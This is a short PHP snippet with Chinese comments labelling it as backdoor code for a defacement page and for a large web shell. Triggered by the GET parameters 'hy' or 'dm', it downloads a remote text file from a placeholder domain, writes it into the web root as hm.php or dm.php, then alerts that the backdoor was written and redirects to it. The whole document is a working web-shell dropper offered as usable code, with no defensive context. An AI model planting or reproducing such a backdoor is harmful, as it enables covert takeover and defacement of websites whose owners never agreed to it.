//黑页后门代码
if(isset($_GET['hy'])){file_put_contents('../hm.php',file_get_contents('http://域名/includes/back/xiao.txt'));
    exit("<script language='javascript'>alert('后门写入成功！');window.location.href='../hm.php';</script>");
}

//大马后门代码
if(isset($_GET['dm'])){file_put_contents('../dm.php',file_get_contents('http://域名/includes/back/xiaodm.txt'));
    exit("<script language='javascript'>alert('后门写入成功！');window.location.href='../dm.php';</script>");
}